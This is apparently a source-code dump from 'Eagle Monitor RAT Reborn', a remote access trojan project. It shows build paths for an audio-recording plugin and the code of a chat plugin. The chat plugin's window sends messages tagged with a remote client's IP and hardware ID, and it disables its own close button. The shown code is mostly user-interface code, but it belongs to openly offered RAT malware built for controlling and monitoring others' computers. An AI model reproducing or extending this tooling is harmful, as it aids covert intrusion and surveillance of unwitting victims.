E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\AudioRecording\obj\Release\AudioRecording.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\AudioRecording.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\AudioRecording.dll C:\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\AudioRecording.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\AudioRecording.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\AudioRecording.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\AudioRecording\obj\Release\AudioRecording.dll ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/AudioRecording/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/Chat/Chat.csproj ================================================  Debug AnyCPU {773A4D23-189D-4353-BF37-515591E16F5A} Library Properties Plugin Chat v4.5 512 true true full false bin\Debug\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll ..\..\Eagle Monitor RAT Reborn\DLLs\Guna.UI2.dll Form Form True True Resources.resx ChatForm.cs FormPattern.cs ResXFileCodeGenerator Resources.Designer.cs {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/Chat/ChatForm.cs ================================================ using EagleMonitor.Controls; using PacketLib.Packet; using System; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { class ChatForm : FormPattern { public ChatForm(string name) { this.Name = name; this.Text = name; this.Load += new EventHandler(ChatForm_Load); } protected override void Dispose(bool disposing) { try { if (disposing && components != null) { components.Dispose(); } } finally { base.Dispose(disposing); } } internal RichTextBox msgRichTextBox; private Guna.UI2.WinForms.Guna2TextBox messageGuna2TextBox; private Guna.UI2.WinForms.Guna2Button sendMsgGuna2Button; private PictureBox pictureBox1; private System.ComponentModel.IContainer components; public void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ChatForm)); this.msgRichTextBox = new System.Windows.Forms.RichTextBox(); this.messageGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.sendMsgGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); this.SuspendLayout(); // // msgRichTextBox // this.msgRichTextBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.msgRichTextBox.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); this.msgRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None; this.msgRichTextBox.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.msgRichTextBox.Location = new System.Drawing.Point(6, 104); this.msgRichTextBox.Name = "msgRichTextBox"; this.msgRichTextBox.ReadOnly = true; this.msgRichTextBox.Size = new System.Drawing.Size(639, 287); this.msgRichTextBox.TabIndex = 12; this.msgRichTextBox.Text = ""; // // messageGuna2TextBox // this.messageGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(60)))), ((int)(((byte)(60)))), ((int)(((byte)(60))))); this.messageGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.messageGuna2TextBox.DefaultText = "Hello !"; this.messageGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.messageGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.messageGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.messageGuna2TextBox.DisabledState.Parent = this.messageGuna2TextBox; this.messageGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.messageGuna2TextBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50))))); this.messageGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.messageGuna2TextBox.FocusedState.Parent = this.messageGuna2TextBox; this.messageGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.messageGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); this.messageGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.messageGuna2TextBox.HoverState.Parent = this.messageGuna2TextBox; this.messageGuna2TextBox.Location = new System.Drawing.Point(6, 73); this.messageGuna2TextBox.Name = "messageGuna2TextBox"; this.messageGuna2TextBox.PasswordChar = '\0'; this.messageGuna2TextBox.PlaceholderText = "Message..."; this.messageGuna2TextBox.SelectedText = ""; this.messageGuna2TextBox.SelectionStart = 7; this.messageGuna2TextBox.ShadowDecoration.Parent = this.messageGuna2TextBox; this.messageGuna2TextBox.Size = new System.Drawing.Size(639, 25); this.messageGuna2TextBox.TabIndex = 15; // // sendMsgGuna2Button // this.sendMsgGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.sendMsgGuna2Button.Animated = true; this.sendMsgGuna2Button.CheckedState.Parent = this.sendMsgGuna2Button; this.sendMsgGuna2Button.CustomImages.Parent = this.sendMsgGuna2Button; this.sendMsgGuna2Button.Font = new System.Drawing.Font("Segoe UI", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.sendMsgGuna2Button.ForeColor = System.Drawing.Color.White; this.sendMsgGuna2Button.HoverState.Parent = this.sendMsgGuna2Button; this.sendMsgGuna2Button.Location = new System.Drawing.Point(6, 35); this.sendMsgGuna2Button.Name = "sendMsgGuna2Button"; this.sendMsgGuna2Button.ShadowDecoration.Enabled = true; this.sendMsgGuna2Button.ShadowDecoration.Parent = this.sendMsgGuna2Button; this.sendMsgGuna2Button.Size = new System.Drawing.Size(639, 32); this.sendMsgGuna2Button.TabIndex = 14; this.sendMsgGuna2Button.Text = "Send message"; this.sendMsgGuna2Button.Click += new System.EventHandler(this.sendMsgGuna2Button_Click); // // pictureBox1 // this.pictureBox1.BackColor = System.Drawing.Color.Transparent; this.pictureBox1.Image = global::Plugin.Properties.Resources.eagle2; this.pictureBox1.Location = new System.Drawing.Point(3, 0); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(32, 32); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 16; this.pictureBox1.TabStop = false; // // ChatForm // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(45)))), ((int)(((byte)(45)))), ((int)(((byte)(45))))); this.ClientSize = new System.Drawing.Size(651, 397); this.Controls.Add(this.pictureBox1); this.Controls.Add(this.messageGuna2TextBox); this.Controls.Add(this.sendMsgGuna2Button); this.Controls.Add(this.msgRichTextBox); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "ChatForm"; this.Padding = new System.Windows.Forms.Padding(3, 32, 3, 3); this.ShowIcon = false; this.ShowInTaskbar = false; this.Load += new System.EventHandler(this.ChatForm_Load); this.Shown += new System.EventHandler(this.ChatForm_Shown); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.ResumeLayout(false); } private void ChatForm_Load(object sender, EventArgs e) { } protected override CreateParams CreateParams { get { CreateParams cp = base.CreateParams; const int CS_NOCLOSE = 0x200; cp.ClassStyle |= CS_NOCLOSE; return cp; } } private void ChatForm_Shown(object sender, EventArgs e) { this.msgRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245); this.msgRichTextBox.AppendText("You : Connected !" + "\n"); RemoteChatPacket chatPacket = new RemoteChatPacket("User : Connected !" + "\n"); chatPacket.BaseIp = Launch.clientHandler.baseIp; chatPacket.HWID = Launch.clientHandler.HWID; this.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245); Launch.clientHandler.SendPacket(chatPacket); } private void sendMsgGuna2Button_Click(object sender, EventArgs e) { this.msgRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245); this.msgRichTextBox.AppendText($"You : {messageGuna2TextBox.Text}" + "\n"); RemoteChatPacket chatPacket = new RemoteChatPacket($"User : {messageGuna2TextBox.Text}" + "\n"); chatPacket.BaseIp = Launch.clientHandler.baseIp; chatPacket.HWID = Launch.clientHandler.HWID; this.msgRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245); Launch.clientHandler.SendPacket(chatPacket); } } } ================================================ FILE: Remote Access Tool/Plugins/Chat/ChatForm.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 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 